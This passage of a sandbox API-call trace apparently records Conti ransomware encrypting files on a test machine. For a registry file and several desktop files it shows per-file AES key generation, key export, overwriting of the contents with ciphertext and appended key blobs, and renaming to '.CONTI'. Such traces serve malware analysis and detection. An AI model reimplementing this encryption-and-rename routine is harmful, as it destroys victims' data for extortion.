	[0137.834] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b514d0 | out: phKey=0x6b514d0*=0x6b7edf8) returned 1
	[0137.839] CryptExportKey (in: hKey=0x6b7edf8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b514d4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b514d4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0137.867] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26
	[0137.867] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0137.867] GetLastError () returned 0x0
	[0137.867] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=524288) returned 1
	[0137.867] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80000
	[0137.868] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.868] SetEndOfFile (hFile=0x454) returned 1
	[0137.868] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.868] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.868] WriteFile (in: hFile=0x454, lpBuffer=0x6b514d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b514d4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.869] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.869] ReadFile (in: hFile=0x454, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x80000, lpOverlapped=0x0) returned 1
	[0137.878] CryptEncrypt (in: hKey=0x6b7edf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x80000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x80010) returned 1
	[0137.879] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.879] WriteFile (in: hFile=0x454, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x80010, lpOverlapped=0x0) returned 1
	[0137.880] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.880] WriteFile (in: hFile=0x454, lpBuffer=0x6b514c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b514c8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0137.880] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.880] CloseHandle (hObject=0x454) returned 1
	[0137.880] GetProcessHeap () returned 0x1720000
	[0137.880] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.880] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms"
	[0137.880] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.CONTI"
	[0137.880] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.CONTI" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms.conti")) returned 1
	[0137.881] GetProcessHeap () returned 0x1720000
	[0137.881] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.881] CryptDestroyKey (hKey=0x6b7edf8) returned 1
	[0137.881] GetProcessHeap () returned 0x1720000
	[0137.881] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1228 | out: hHeap=0x1720000) returned 1
	[0137.881] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0137.881] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b440a8 | out: phKey=0x6b440a8*=0x6b7e8b8) returned 1
	[0137.881] CryptExportKey (in: hKey=0x6b7e8b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b440ac, pdwDataLen=0x3f7fc54 | out: pbData=0x6b440ac*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0137.882] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\pjmvi.bmp")) returned 0x20
	[0137.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\pjmvi.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0137.882] GetLastError () returned 0x0
	[0137.882] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=13892) returned 1
	[0137.882] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3644
	[0137.882] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.882] SetEndOfFile (hFile=0x454) returned 1
	[0137.883] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.883] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.883] WriteFile (in: hFile=0x454, lpBuffer=0x6b440ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b440ac*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.884] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.884] ReadFile (in: hFile=0x454, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x3644, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x3644, lpOverlapped=0x0) returned 1
	[0137.884] CryptEncrypt (in: hKey=0x6b7e8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x3644, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x3650) returned 1
	[0137.884] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.884] WriteFile (in: hFile=0x454, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x3650, lpOverlapped=0x0) returned 1
	[0137.885] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.885] WriteFile (in: hFile=0x454, lpBuffer=0x6b440a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b440a0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0137.885] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.885] CloseHandle (hObject=0x454) returned 1
	[0137.885] GetProcessHeap () returned 0x1720000
	[0137.885] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.885] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp"
	[0137.885] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp.CONTI"
	[0137.885] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\pjmvi.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\pjMVI.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\pjmvi.bmp.conti")) returned 1
	[0137.885] GetProcessHeap () returned 0x1720000
	[0137.885] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.885] CryptDestroyKey (hKey=0x6b7e8b8) returned 1
	[0137.885] GetProcessHeap () returned 0x1720000
	[0137.885] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740730 | out: hHeap=0x1720000) returned 1
	[0137.886] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0137.886] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b459c0 | out: phKey=0x6b459c0*=0x6b7eb78) returned 1
	[0137.886] CryptExportKey (in: hKey=0x6b7eb78, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b459c4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b459c4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0137.886] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uawd4fnxamggrodtxf.mp3")) returned 0x20
	[0137.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uawd4fnxamggrodtxf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0137.887] GetLastError () returned 0x0
	[0137.887] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=64381) returned 1
	[0137.887] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb7d
	[0137.887] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.887] SetEndOfFile (hFile=0x454) returned 1
	[0137.887] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.887] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.887] WriteFile (in: hFile=0x454, lpBuffer=0x6b459c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b459c4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.889] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.889] ReadFile (in: hFile=0x454, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0xfb7d, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0xfb7d, lpOverlapped=0x0) returned 1
	[0137.889] CryptEncrypt (in: hKey=0x6b7eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0xfb7d, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0xfb80) returned 1
	[0137.889] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.889] WriteFile (in: hFile=0x454, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0xfb80, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0xfb80, lpOverlapped=0x0) returned 1
	[0137.889] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.889] WriteFile (in: hFile=0x454, lpBuffer=0x6b459b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b459b8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0137.889] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.889] CloseHandle (hObject=0x454) returned 1
	[0137.889] GetProcessHeap () returned 0x1720000
	[0137.889] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.890] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3"
	[0137.890] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3.CONTI"
	[0137.890] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uawd4fnxamggrodtxf.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\UaWD4FNxaMgGrOdTxF.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\uawd4fnxamggrodtxf.mp3.conti")) returned 1
	[0137.890] GetProcessHeap () returned 0x1720000
	[0137.890] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.890] CryptDestroyKey (hKey=0x6b7eb78) returned 1
	[0137.890] GetProcessHeap () returned 0x1720000
	[0137.890] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbcf8 | out: hHeap=0x1720000) returned 1
	[0137.890] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0137.890] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b46098 | out: phKey=0x6b46098*=0x6b7ed78) returned 1
	[0137.890] CryptExportKey (in: hKey=0x6b7ed78, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4609c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4609c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0137.891] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uhpq0yiyta.mp3")) returned 0x20
	[0137.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uhpq0yiyta.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0137.891] GetLastError () returned 0x0
	[0137.891] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=17267) returned 1
	[0137.891] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4373
	[0137.891] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.891] SetEndOfFile (hFile=0x454) returned 1
	[0137.892] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.892] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.892] WriteFile (in: hFile=0x454, lpBuffer=0x6b4609c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4609c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.893] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.893] ReadFile (in: hFile=0x454, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x4373, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x4373, lpOverlapped=0x0) returned 1
	[0137.893] CryptEncrypt (in: hKey=0x6b7ed78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x4373, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x4380) returned 1
	[0137.893] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.893] WriteFile (in: hFile=0x454, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x4380, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x4380, lpOverlapped=0x0) returned 1
	[0137.893] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.894] WriteFile (in: hFile=0x454, lpBuffer=0x6b46090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b46090*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0137.894] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.894] CloseHandle (hObject=0x454) returned 1
	[0137.894] GetProcessHeap () returned 0x1720000
	[0137.894] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.894] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3"
	[0137.894] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3.CONTI"
	[0137.894] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uhpq0yiyta.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\UHpQ0yIyTa.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\uhpq0yiyta.mp3.conti")) returned 1
	[0137.894] GetProcessHeap () returned 0x1720000
	[0137.894] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.894] CryptDestroyKey (hKey=0x6b7ed78) returned 1
	[0137.894] GetProcessHeap () returned 0x1720000
	[0137.894] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef18 | out: hHeap=0x1720000) returned 1
	[0137.894] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0137.895] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x6b7eb78) returned 1
	[0137.895] CryptExportKey (in: hKey=0x6b7eb78, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b462e4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0137.895] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\vbkw.doc")) returned 0x20
	[0137.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\vbkw.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0137.896] GetLastError () returned 0x0
	[0137.896] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=52526) returned 1
	[0137.896] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcd2e
	[0137.896] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.896] SetEndOfFile (hFile=0x454) returned 1
	[0137.896] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.896] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.896] WriteFile (in: hFile=0x454, lpBuffer=0x6b462e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b462e4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.898] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
